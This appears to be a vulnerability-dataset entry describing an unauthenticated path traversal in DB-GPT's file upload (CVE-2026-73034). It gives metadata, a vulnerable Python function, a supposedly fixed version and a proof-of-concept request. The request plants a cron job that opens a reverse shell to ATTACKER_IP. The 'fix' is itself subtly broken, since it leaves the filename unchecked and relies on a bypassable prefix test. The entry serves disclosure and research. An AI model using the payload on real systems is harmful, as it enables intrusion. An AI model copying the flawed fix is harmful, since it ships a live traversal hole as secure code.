CVE-2026-73034

Unauthenticated path traversal in DB-GPT file upload allows RCE.

• CVSS 9.3
• 22
• Input Validation and Sanitization
• Remote

DB-GPT v0.8.1 contains an unauthenticated path traversal vulnerability that allows remote attackers to write arbitrary files to any location on the server by injecting directory traversal sequences into the user_id HTTP header of the Python file-upload endpoint. Attackers can send a crafted multipart upload request with a traversal-poisoned user_id header to escape the intended upload directory and write attacker-controlled content to locations such as Python startup hooks, cron directories, or agent scripts, resulting in remote code execution.

CVE

CVE-2026-73034

CWE

22

CVSS base score

9.3

Published

2026-08-11

OWASP

A03 Injection

Orthogonal defect classification

Checking

Code defect classification

Missing Check

Category

Input Validation and Sanitization

Subcategory

Path Traversal

Accessibility scope

Remote

Impact

Arbitrary Code Execution

Affected component

DB-GPT

Fixed by upgrading

Yes

Solution

Upgrade to DB-GPT version 0.8.2 or later.

import os

UPLOAD_DIR = "/app/data/uploads"

def process_file_upload(request):
    """
    Saves a file from a multipart upload request to a user-specific directory.
    The 'request' object is assumed to have 'headers' and 'files' attributes.
    """
    user_id = request.headers.get("user_id")
    if not user_id:
        raise ValueError("user_id header is missing")

    upload = request.files.get("file_content")
    if not upload:
        raise ValueError("File content is missing")

    # VULNERABLE: The user_id is taken from a header and joined directly into a file path.
    # An attacker can use traversal sequences like '..' to escape the UPLOAD_DIR.
    user_directory = os.path.join(UPLOAD_DIR, user_id)

    if not os.path.isdir(user_directory):
        os.makedirs(user_directory)

    file_path = os.path.join(user_directory, upload.filename)
    with open(file_path, "wb") as f:
        f.write(upload.read())

    return file_path

import os

UPLOAD_DIR = "/app/data/uploads"

def process_file_upload(request):
    """
    Saves a file from a multipart upload request to a user-specific directory.
    The 'request' object is assumed to have 'headers' and 'files' attributes.
    """
    user_id = request.headers.get("user_id")
    if not user_id:
        raise ValueError("user_id header is missing")

    upload = request.files.get("file_content")
    if not upload:
        raise ValueError("File content is missing")

    user_directory = os.path.join(UPLOAD_DIR, user_id)

    # FIX: The path is resolved and checked to ensure it's within the intended base directory.
    real_path = os.path.realpath(user_directory)
    if not real_path.startswith(os.path.realpath(UPLOAD_DIR)):
        raise PermissionError("Directory traversal detected")

    if not os.path.isdir(user_directory):
        os.makedirs(user_directory)

    file_path = os.path.join(user_directory, upload.filename)
    with open(file_path, "wb") as f:
        f.write(upload.read())

    return file_path

POST /api/v1/knowledge/document/upload HTTP/1.1
Host: vulnerable-server.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
user_id: ../../../../../../../../../../etc/cron.d/
Content-Length: 219

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="rce-job"

* * * * * root bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
------WebKitFormBoundary7MA4YWxkTrZu0gW--

@misc{vaitp:cve202673034,
  title        = {{Unauthenticated path traversal in DB-GPT file upload allows RCE.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-73034},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-73034/}}
}